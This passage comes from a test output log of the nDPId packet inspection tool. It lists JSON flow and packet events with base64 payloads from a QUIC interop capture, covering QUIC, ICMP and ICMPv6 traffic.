+jyJ9stfjENb7psSrJSchNgxcdmCDy8kzTYUD7r2Kyu23la\/A94iZaAc3a3efSo5IpoqV3d1rp5ZAXMrr7FuDpbBbwpjWOv21FHy9XJpndYMkbIqf\/7foTiABMd4OD5ZERwg0xFUm2\/h9OWCHJH83WAL\/V5NLmuNQVhvxqDt4v9kRbwpq1I6YlY65WMno6Jktn5XADL\/7yB9qcTbstxiHDTP9HA52vwZywCZsUeMNyVpwbs6++IutqZF2u1m5rA1TU892YkmC4kF\/6hNawh4kh9uCP\/dmrEgG3fl\/J1TK58qG0QytYAfCJ0cQ5JLCxfl\/NL8mZSVRO1SYiuLHK3ygtYTMGI6vHbmzBIw7efY9+H20\/n9OdFhPZypP\/u3dYpp4p\/C2O0s6ViK29wOFT+K2UH57w75L7qCQIQY8Jmg4QscecIv0AWmnfsG6wos8x03+j\/JR8bgGEsH1SV8kBWJgmpv\/L4R9h36Dkk7I7wbtNl01psL0lyiPNL+Ovmtqzx+\/3Q62hpJ76z0PUEL8rN8W\/mbea\/y56YejegoW0NiHWhNlluWfwxxnN42q0YVuXvbq45KHAswsaiAvSLHS1\/Hfet1IEJQbT92EAZjtTIJs1ukk6S8C7JBdY2mP1nien9nfYAxxwA\/H5mWvSq0j8RX\/AxShyK\/7L5A8yyjy03hGEmr9rECJ4SlYdMS5IlK68iFiJ4CMvIJ+6AyWXezGevi+5ey4ofkQCxFpY1W0uO7lu7+1aV90Ifn3KxnAwNm6+ry4yHqk6IaT4+FTyUTD70bZ5KtnE5J0z9NnVQAnXfMQNLWwACkQ3k4t1jyk2PI9+I4B+PL+e\/IT7Vzp7naSY2nO4exFruJXfEn4uVZmLymCx9K0eX21XvezrLYl21gesFXXXoMBP7pIhtLQ=="} +00473{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":822027,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gCEs0ACMR8CoF0BgM6YEAzSri\/bO+xasgAQsHCsnVrqTT\/kdpHoB9EVKuPQAj8mT+AAAAAAAIITUj3tZzyB\/\/AAAd\/wAAHP8AABs="} +00508{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":822056,"pkt_caplen":113,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":113,"pkt_l4_len":59,"pkt":"PKn0qB\/spJGxgjQ5ht1gAGSQADsRMCYAHxgjENIwUQN9nn11N08gAQsHCsnVrqTT\/kdpHoB9EVGV+gA7uJfFAAAAAAAIQysxrQYDr8z\/AAAg\/wAAH\/8AAB3\/AAAe\/wAAHP8AABtQQ1ExUENRMDpa+to="} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1603816434822,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2604:a880:800:a1::1279:3001","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":822065,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gAFucBNg6MyYEqIAIAAChAAAAABJ5MAEgAQsHCsnVrqTT\/kdpHoB9AQQ1AwAAAABgCGnqBNgRMiABCwcKydWupNP+R2kegH0mBKiACAAAoQAAAAASeTAB2wkBuwTYmHTJCgoKCggVxSlYpn4UkgAARL5ZLsODdf27vLuu6GHs9eSXiVxIAlfs7TcHZcazXn4JE3\/P5JDqe+tOVWQWmWJiN1Zi+QMXxBMeLDuq2FFgXlL2mFN2Y0Hpqzt32q0IcYNEtodCx0cCDcymndGz22NucmhqDhsBTfQYSZ0TGfZ0Y1dj7OIdkztU4UKtQk0Knbx0pPfOb04IoU66JRugmLaY3NcS6\/YWs3i+G\/Z1NaiZhF7wHXHAr7RtRzKLb2gPHbqV9JkwnbYNdieDzqo6OGYxfFJAF9UdpTyC5RofrFHDOiAzzOkMjstRpfIx0da81MZNBFjRQx8VBZVl5cb5VmHHCRKqUJJ\/pimnlqr6\/rH78B0tJyJdMLcbA0k\/GEaMgb2r9k+khrfN+IYPTP9LEK9IyC61PSNuLM7lCBCfjRBxaONHiGk0HUucFiwpQMj72lTAGTUsQa8qFngN+9r0I8HgvmsmOXC4IyatQFicI6JIBY\/\/xLWv+tugw\/qAeO1niZ+nJFTAbwyvKydJ4CrRCQplld36lx1IDKeajrlxvSY4TO7ZlmYtBTR\/QIZQ1n0y7WxFPForSvTZ5LmkvmQy\/XOIdCHzDT+yu3OG+dlOa05oJSJ5squ1DJvlYS4iSqaRgDu8O1f9s7zQOTQDTlP6inO815rKmw1YpQze+QAPS9Ar8Eh6loMYvm597mpGIaaCjBGmRjM30Y3EWQUMoVmSMYlr+ndlJs0\/parg\/PrflXFNfkn\/Wllw4cvS+JLWNhoBBJwDWpM9YkqIgN6sP6Sf1ACXsEwIhZbB5T3Y+mzlz1fEroyxtSisqFOFlOCB2g0djczdb72gMhUvdB4kROfNLNOm8f4hG1ZnJraoSrQJwgrY+zsLAidSwY62GHtAM9fUNITWGPk7OLfW3OjEbL6sh7ywY+xM+yu0nYlxg0Z8ST6zlbK88Dw9rVrViSQ3Oke1RR\/RShjWSOBcuUxTcA\/eXi5dEcOdrVm6ZsDQ0chPleXisZB4yI9mZgj+jwkM4eFcO6OX8YpKRHpSZrb0SkaAHjgOICK+1d\/ehnzz7M0KNYGDy8XZ08SS3gXJzSNXZLonqI\/bweWJiS+9rlVrB5J5IwRHJDEVN2aAZJbdqAdmcFPCL7XDwYisg0GfcM\/dL5C5xxZS6hZbPHwzwJ6y7r6\/T+A0XWV92UuetwR0QSUywswmbazFGMC\/MBz94jyq\/TrHbvq8OgHad29+CNuQfDZZomN6lJoFhgu1iOIbRwea4vmYiVysTLFxxLhym6vQpFJXvihZGX2xoV1bucff9DyhT5\/Wm8sYVpYS8i2GcM3jWfruzg6rk0SVDY6hf8HFcXkvUJGnDN4KwlwULBiTr9COS06u3di2jUKJqL6FFXM1FtZVzdRf3O\/3GNXJ2HDuA4IlWQXWMcKwj7HbOKOWlf39BkQPYBB\/3CwqDH5TkC7Ny98BmDT6ZzxJIZcSDCUoAZ3M1Es1K7QjuPUiIJlOZZ8vmraAuL1z0zGli+qvbM5O\/6zJbeqSM2M0z0mrGA7v66IfdcHwb0k8mj2tM2aIyHApEXwJPFbWKxWcFb4yW1jdVDOO0Q=="} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":118,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1603816434822,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2604:a880:800:a1::1279:3001","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +02110{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":831237,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gDK7JBNg6MyABGfAABAA0AAAAAAAAAAEgAQsHCsnVrqTT\/kdpHoB9AQRVHgAAAABgDJNoBNgRMiABCwcKydWupNP+R2kegH0gARnwAAQANAAAAAAAAAABqn0BuwTYttHMCgoKCgiHmjxz9S5+NQAARL60MndZKQNzXHuWbuWII8yYjx1QNcGEa3n\/tA\/kZwZdo0+NMbEhrCvw4fqUesktNwPhDHylUS4gcbEvHHb8Knr61qY95Pm5VKwq10YKtyHKrPUvOt6FFf4EaXlhbjCjP5PNGMuBPWvET6CR\/DNJ3amwoZ8AEiUkCCce2IA0+qLjflDvOu19oZVQSJhyk0ID2QUVFxDX+RIo\/BCEiyqGwrxxtUHNgSlpQhvXLPkd7gs0O8q\/1O3MXjjXw3VV1HTEIvgh9CIZHImqbItBAkHFYhj85297ojhzntlLLEMQUeWyYcLZaQRQLAnNxNHIfLFBwCs6Cttccxk8XUgObPlTQVTnnGvEYXJadvbFnkb5nj0E7bmqr23E\/kns4IXbYRFlEjJZfAc6UWDdSOXBoZHXMIAY\/dztkylxbqayCWGkn8v3wQJvR2xFoTyKE+Pp5saXn2uSt4EYi00Uf6fCGbypDRgDr6HED25efO5iFC99NJvuET7V90ObiIxoji+jOYwIL0BCHSm+uFeO8i7r3GmYR0Qg2iAiX6ZmlOl5gmCd40kAXe9Lo\/pKr3+r853YnPdtRNoIckFL+PsGubjlWj714eDNDRnoSoHs8UNwnNN8sF12pzQsAVr7qLBt4e8KWXFMXfkfIKWSnJhvivGIVrhMeN4RiaQ\/jippacCl0CUjlR9AUDC7DyDOswJ0+eP9X+z1Kkt7EaP13RXwGDeKbPLk\/tVc3ZXQShkobo74qelkPT7nbFmTZB78n2grmfmy0C6HMQ+qUHKH\/MfqCCK2ZnmHVM8veaHwzWHFJ4gVd2h5wLXlBRQqCB2AZzoyKpcMZFNpfGh+rTCIwQTyVZzycWPvtrbHzPNg+tUe1i\/foBt0+XApuoCCwHOsgf9nS7IFS3h97hfCh2TYTKBM6t9C3VPFYDuKYfUjriuP3G2Eq7sMAiqBDef1fYGxLN\/Dys1ZS2B2n+Zqt6K1diQtrzsIwKlRRg+XjfSSzPOVrKeXYenyNePWIMOs4YVAyvkFPV4RM\/osDQvZvShUA0iRuuMPCsj024c7WYx9lDihj4EJBymWsIkTQg0x6rfvVrFojeVlS8zgiytvfAIJsOr+k34t3NbLaK0YyfFcVKBnFDiEC5OcAMd0yi6ouvtE9rJyb\/CiH+Vtx9OSGkbowLLyCHtZ1EUgA0\/vr\/mU+ea4hE\/dLdDDjWwxrJg1oKjnYeHQvIDUT0MVaXTlMXS7\/F6HA7\/5QTayU5MU3hKtpwhACAx5gHHhue3iTscqXigKQ7oiaLOdxRIJ2wKmzNzvQPCG5UmOLnsbM\/3lI+SzzLjMM5HxKsnb7yJmS6z2+tdEoxPOa5ZNm7Wc1LoGgLZd+x+V88MeQDFaBDMQHNWCS8z7Ruv7Q8Jc\/JKShee1avRiWD+QjKfpjPULJzGhq8IhO+3xUZoq\/xSnX5PQ7xqYQY3oim9xsL+ADJPPe0oE2O\/lbNfbGhouInwUUVqUmdk\/fion2o\/ylxCHaGoB6j8tJgJq8ystdV8ErJCcEhkKohD7qeUu1YL\/exHAdFqCo5yGAJyVZFmJD6CkMA=="} +02107{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":836177,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAiNlAAEARQ6DAqAGAyu7cXIm\/EVIE7N5MyAoKCgoIV4qr8UTBK3QAAETSZYQqq5\/hhyGtCz3Zmoi9jrKsnf3wjCZq1mxPTTEfXwdslpFlNBBYDqBuOo+QKDkWn4ZFD\/5qQ8sD8A+lBYGJV+nw5hbll6er2441gO5dAvGVUTjoFTcs61bhJdzOUrux599yFBfTAFDZKYhyBebkHPNDrNvPvVpxfBpxhEGHEq59jbH7Kx56FJtjtSZa9HQG\/OGEFc4JVYBfZDPBXIhzLUdX2JND3qWMQuwP2Xy5LdfjKHYwwsqNQgrtYOT1t6v+Zvqju\/oAictN1dRCuNXP91Pwy5MQysbtofZHqB7e2yb+jFxm4ZMqy+00qpKT7ne5IWIOVRZxjqMikenSsN73RG+rLd\/uLSPXcSlufRT\/qpMuPbNQ6s7DEcokvc85KmowVE9PiWIPrZuSb0oRHuoTyejJTscJK3si7Et7GQNCLhwsIS2k6fsRMPFVceoIZZfXs2PzKq3\/O9EH2D79eeGzP8A5iwmMT7Aab8l3\/6R8LVM6+3PQfPi4jLK+XHWMQbg41\/J9uEQZI5HuTWWQzwcn9UAcG0g4gwcOPmZDzviupQ5tg+\/9eADTReJpa4xS3oYZdywwA3VZsNHvhQf4dL7aplXzKSWQO9B68xf5V1q4gM+CvIJUrE82UCwH8VaOoe1AoHNWtyDW0Ap5d2vSy04x+4EyhLNBj26v3fhqsQcn6Z6a4KwdLKikQaoiVxarNgN+CFr1yDWsPRCqJMe40bhwuS4sWkiGWh8Cv9gLXeNDdRPqaqgBh82GLE7iFA\/U5vdRjLNfTPPFimOZbexduSJLGwwVJejCCwbDdk7Vba1zDnWr6vIMpidFE15bqu1CaUX4wOlMw+UlJ\/Rck\/7v\/g8MgCArdyT52lbEFkxfiUbz9r7dzxe9yAYfnvExfNJocGmNo8cp9UGEZb+Z+fpXkVwNrnTpe82QFjYekWIeghnThVtpzRW6HVEFowML2gXzrgBYWnXVabb+z8NJa9KhgDfRxGY6Qmo7vTY41l2P1aqPcxNOTuIr8rCBIdn5egFmlP6+j3I3zePWc7fsh+HpzbSu2qNxOPfDHrqGgaMf65DyMBQwQD\/2tXTWsn7Vrz+vyWwxpeVt4t+pbwKmIHhkkdrbIJF9mTZzSgQFhOrxmOkT\/t3tmzM4BHRcRs6UQmLnryAbmkEWPDFwWiKG5ro9OVh\/yjexJN4pRIEK9lXHUYCFUgWFM5ofQyZB+jTZyWZLMauwYFWJOs0N1nGD9gUKucMB7p6NqaNEaiwlEG2gf0v2FH9hCslV4oko7fHx3ROpToSYQVimVoCtR9PaGonSHaeqACfo9ua\/Zgtv4cLK6ZiV6DBCf0hDnXZRBh+AaUTWPTe3zcHlDnUHvaFFceiOwKcHKvhC9KWiF3Ddru0uKWSUsFip88BcKpuEabKb0ahOEuMl5XsFJ1\/uDvSVIy33izzMs6n7C\/k4CysougNKX7DiugyzF6BQFi\/VUl9waPfDhomR8hH1euFy1YjY4M2JXUuQh5HV1TzlO4okmnDSo4ios5+eDuKBV4YUuJtBgKFC+X0w\/PUhCXpFy4X3vOqtG4h5S8jL30h+8K84dZjAHTEkJGOvPZIghuHCBB\/bpEvq6Mbt2MCtL\/lIRUUPwjkSauaRIiWSBq1YTOD6X9dULjF3V\/Ewiw=="} +02110{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":845425,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gCSIhBNg6MSABGfAABQwhVAAB\/\/4zO5YgAQsHCsnVrqTT\/kdpHoB9AQTZbQAAAABgAfkDBNgRMiABCwcKydWupNP+R2kegH0gARnwAAUMIVQAAf\/+MzuWlyERUgTYFmvNCgoKCgjw7KzpNo8oeAAARL4tqmRQ5KPAPbdPUnedDn077kKWSLkPygVEwdGpIVFWcp2en9F3ERED+OnUg3d8i8AAkr44lz5aAq3LC+Q212cavhgupcuDcqNoIGhnCIfm+QSZcdNZ4zXfagNI0pLJoRsvOsL\/uXGYxbmgqR94yTDxQ0eUCVIZASIUeRZjEvJCthWVFT2rgBlBR7LYtLcvCmtn0DIMTAiPE\/xh01OGF5bAJQ2pznCPuONfdxbRDf26\/K7Vorl6tUQm\/NY5ROm8iHLzI4aMVUF0HjSu3+YUC1uhFUVddfTvpusRwaZ7kJNAa7P\/Vy96rw+N1QmHoKrViF3SiU98y7yZQbZlWxDFuBm3kfHuLnWeUnH4lwkgdmjgDw\/tGYT9JNO+a4WXT0WG+E149U5CDNgHVyClW14kVzq2L5mwgYWZMAo+lEamoeJB5h9+NMm0nQlLQivIZYDxop0vohOxK5n93lmaDplwC7Jat5ImroXJjGBA1i\/wWMXgstJIth+GejqRDCbbbeG7NxvZ9rVNx+l6f970K8CtZlugC3GRbFE9tMsDJl5zdBgPz83kXeLW4WfxGljbZ2I1\/Fsv5Dj9XTubdhAYt4ThM0knFSb5aX6Ff26rVq4Lfqy9HtKxEerRRn\/GPQ4yjlBfNoPdWIbjRC7TEbcUSnLf\/aCaXXZvuxf7r562GmcMeGxyHBQBVeTMDY1abEs7sWm\/+SOMgorJmIj9ISqcpplInrkBzayKhF83lHHurhCA1lrKNlSdpeepOLCf\/jMxhKTDSGOt6PuvUNMjvuJNj7JdWjB1qgt+7yg6GfadVoLlc7oKEmP2EZkbg1reAwAQOQU0SIVyNqN7R8++hQVFb9WO4t2FPgkjCkOeg8PKyC0+NKn6ths3s033xQ7XDByeP8Nn2kj5mf2ZY2gISmQLZEcrz0CUqG\/ia+5tqLKj4+\/Cndt6cFxpPnK+zzcl+5uVQbgnRXQJmrxZO\/AIu15jMIC2BXo7iG1s9T31lFVuK8ZWVw0cL8LlBKwlz8kc+VhdGPCJrGwt3wYzDhn2EetnDAIMnbnceC6ASm4ceWPn7zfseGSdZHnqg2ItW2chn2XlcQp4yI6MIqqKBep7wjkYIzq1Xg27JeDrqOB5eSz5nPdiU3VaODgQWCUUbg9ghrJZfwLkGvswGRALf+EzPBVkuJnFi0tcoasUB17bL2uvxmMJsQHWFO1QguLm7aeVi4DCA7LeprVfnREJzlwtTcq1k5DYJjUcopXIzceZ1RbGyvZp4+Cg3kMpFGVYKly62GUic6\/xL1lutLalr\/JjiJp45zRjU0jch7XG6sx+An4xZJK0US\/g0Kv\/HVtYynUrwZXu\/woHqvI9+NK8siaNZbHMUKRkIGOXCg9aT\/yvWLUSR9BuvtiEH\/8yVs7NtMMrdgpTQTivJT44BZN6SO0WXldGZUkYPP9OVZchj36EQYpACosyteNK+R\/3v7MWWO4pEsgkp64XBxw2OWJLRgsbR2Yz5fH7LkIbs0gEHDj7\/gcfuV5kb5ePRim1rmsSUQI+hvJlOF3Hyyb3A9HUl2d7fhX4v+4KZA=="} +00440{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":848243,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5CABFAAA3DrxAAOER4SQocL88wKgBgBFS0h8AI+oo4AAAAAAACHAbjQjU2gF9\/wAAIP8AAB2a+srq"} +00439{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":855041,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5CABFAAA3PlRAAOIRsIwocL88wKgBgBFRtfAAIx4f8gAAAAAACFIdWLoQ6nMg\/wAAIP8AAB26Oooa"} +00454{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":124,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1603816434855,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":855086,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"pJGxgjQ5PKn0qB\/sCABFwABTzwsAAEABAQrAqAGAKHC\/PAMDpwYAAAAARQAANz5UQADiEbCMKHC\/PMCoAYARUbXwACMeH\/IAAAAAAAhSHVi6EOpzIP8AACD\/AAAdujqKGg=="} +00486{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":124,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1603816434855,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +02108{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":858145,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAxFJBNgRQCABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRUr3wRUgTYu\/LHCgoKCgi+3m+0woW7wAAARL7GquBTGstjJfkM0HNCxgIAREBilxluQhOJlSo3RAJ3sT9YPO\/sQIsdu3\/IepBfUNrpFqupXs61nKnqxJbpzxm4pP4Uet+yqKBfL+M5sZl9PAH7Jj\/GqWj5hATKgnFlarPfqBSj9ebDuM9wxcuFyTqW04DSxk68M1O0uEKdC3hX6Nasxll7WkuCJBNdHdhbRwkrTxC93fxA7Bo+1ttTS+SluGuitxn3q\/f1rhqU3Rtof6iLtaCMP0POUaELPjXeochFM+KP8w+TYjbP1UR+98l3xiMRsa7Boz\/Qn6\/B9lV05gqwE+V+ndrFgiC6SU2W1mGV5dAwfiTvH0i+sGYWDheOhTxFh6v8dwHFK7yfV+qBRnmZIuILrC0ZVc8DVJxRZ00C\/VbecBGOpvKklKxAhnnr4FaiLAx4of\/xkA7t65SFTPGeySaODDta0iajRz3Okg02VlMpJCp4MYtxYVLkYQJvT4qBY\/Q3SYLhujBzrXGbyPfARPZmwKI+Y09++2g8fVjcnUT7cUy2MYcUv3gS8YX693nsVG9GuYuD1Tpc8V\/QW\/ws803NpuGE0fKAOcl7K0x276q2yxhP4KOxhUYk5nzfMGdKYR8tOed7SIHx6I89XxqDLNj\/yeFLjKcS4vphg1MO3ZXRhQu5dGqvsBgmNLF0BLZQE2exAkHM5YlM2d+2Cf5jNJkQmQN96lH4hYOcq+3cMuM0nA85Rh1rVe7urpKa+zhkSNys+oQxwrcKrhB1E8ov6Ir8fjnl9I+CB2E1uCIrXxRxtwOS4nAygc4OHQ9E8aOsj2\/w2X7PRaEwVsM1LrOKeZdUF3LQvTK2DdFbDcrW178BHsEuvh0b\/WIkKQOYUw7iOzrs1SVYgZoQ968zdkRsGSxVafnB0RpYxFcTvGFDKuA6adIdu87Np0MEASWmobXOe+0750NQu\/52K496y+JfUKhL9v1vUZoJcxA4fRjfC7Bh08mLSoPcW2iuYUY5Qfwalz27W5Ykaj0l4a4+FKTTpRfNlIedHfrTqbsQ6rbIQr8tJ+81mqHbG9Zyr8zA2muAME8q9aJsgu+U1HLzCGfWgvZFEV2EknFvEylSdE1r8PywLZ7inFg9hamDgdP5uitPIq1K8RDkjORQoXcwTc3g4iux2RI7AaBEJ4aQ64IImqf2vmsA7Hm9gV4zbJ5GdvI+BL7kLlAKNgqCno4ViE2PY+dAn7DOvAESo8acbeQESQp7Rk3XM18OTLnXB+4WbgD8q7fXA+ECTUMkpHSzm+lB\/4uh\/yExcfDM5gQRfvC\/spXzxuIqVWl2moJyhaC686aJ4KP\/t4qLF+0UIdSblurMexwFEcHDduM5IRHawmbrUFCfEQ+n4o\/SryqiP6om0IN1nAFm1ylhTzYdhrqGwZGRimjSXQBGvHoRTYsAlUs8s7gIQ9BZOAZT5zXBTy9plxFRn0xuOTisgPDNearpDgC37gTQLBm56fc\/xKHrVFHO5kMHOj6NVCppn2SoJ6\/fLiZL3tw3F0wrYIRE9J7EJb3sJ1aGsgL3pCgWOt7Qvk25++jdWqnsAR14C4ICoJzYNOJ6kjejpAxjuQX8JcLxcnqs2SWXAF1o2jEryGZfGoV3+v\/u2H1\/3a+NF9jJ5g=="} +00487{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":861232,"pkt_caplen":97,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":97,"pkt_l4_len":43,"pkt":"PKn0qB\/spJGxgjQ5ht1gCRGvACsRNCQAiQIAAAAA8DyR\/\/5ppFQgAQsHCsnVrqTT\/kdpHoB9EVHblQArGxDIAAAAAAAI\/VKHHlPIokDaehpK\/wAAHf8AAB7\/AAAf\/wAAIA=="} +00432{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":871131,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"PKn0qB\/spJGxgjQ5CABFAAAvPS1AACoRkCmM4zRcwKgBgAG7k5gAGycshAAAAAAACPBGL7QnI4n3\/wAAHQ=="} +02103{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":871914,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAzhNAAEARXsLAqAGAilu8k5wnAbsE7JRfygoKCgoIhyfaf9ET5OIAAETSg4WekmDxY2WacCDM\/8eSx4ohG7YmTqwoeqODd2k5\/ILufSGNrRI59baCGL2fY9VPKP7h0uMNJHJGKpO4ABpLTKAv+Z33spm0vA7YejMhSXdQl7EAUbpGiGuAZ57sHNrBhtAiwJWKxwgGW26Q5vpcclekUqC\/wirPIgP+uVc+gpFpVzodQ0mgS6Skiicz3C65YRdVsyeohhc\/hRx1N5R2WgtJwqYi7B9bC77rYSOOkIhuXu8+IjTS4I0Dr4bNnM51WkGtEVZCY7Et\/ed40YMGF2IHx28glc9AisadTuTlV07XsXpxsX3fhYg1aec1iWs3HTjMad4f0E1Zu+7pY+ahfu\/Wh+y+RfZfQleosj6ONj0IkAYCkzX3Rxl5VmxUKVr9ynMRCIlfYWRo+FqEbOevDq4EkFzuTXYbNcvp7Az3xjOYUEfujI4MZdggpi8E2XqC48gi2t+anKqQxDzCx7VxhfxHWgpaFTQxQI7wdH\/R+hT\/OKzuqSyzCRmcSwU1Rn1+7QhJjjZB1FgSkD7P4rsou7VKPQDjtYaB9yyB1pKyxcjy4yUUQlf3AfnGzjtHeCDwr+dUQrAvuJFnAla5aCGDX8VOwbI0ojPptc6gdxmRBuEMYv7TukJSp8aYMywfaWsXbmDZrTINpccC0G2W+h2GzYFrTs3ibFPCNWaQtI3iZlbKbzl\/r47XhyJeEp9GgLmws00k64F024VKlgTyQrt9EKtQdpNY1NYDcJC8HmHb5iIGNTGJfH5KoClL7\/5UqIHBrgt1IeEyHLtzvFc1IV1ZndGJdnV5gjRpPzHjlEEYVUMN0Lcj0hAoAjnVc26fO8B5SyiBFi5BLjhP6BSf0uycqSWGYgHEftMaGSaAGXFNfliTfhheRnRNr8ZcJRZC64uSeXpAxKt3iTezri8U1+9QoWk2vOV6a9Jfbu3FMqbyHODByFKZFe+5ttw2JN8tqSnoylsVP1TseoSukTAuXSu+HguvE7\/l3MALE8fijWl4s5FdSL\/xumZPM8Ck7EA8VDHrG2Kij6UyUdM6AOfuIWF5mPAX1iRNdwtlHlZ\/DtQpng0chTNUhsAn+Mnq7qZDfgWKRhECtJDy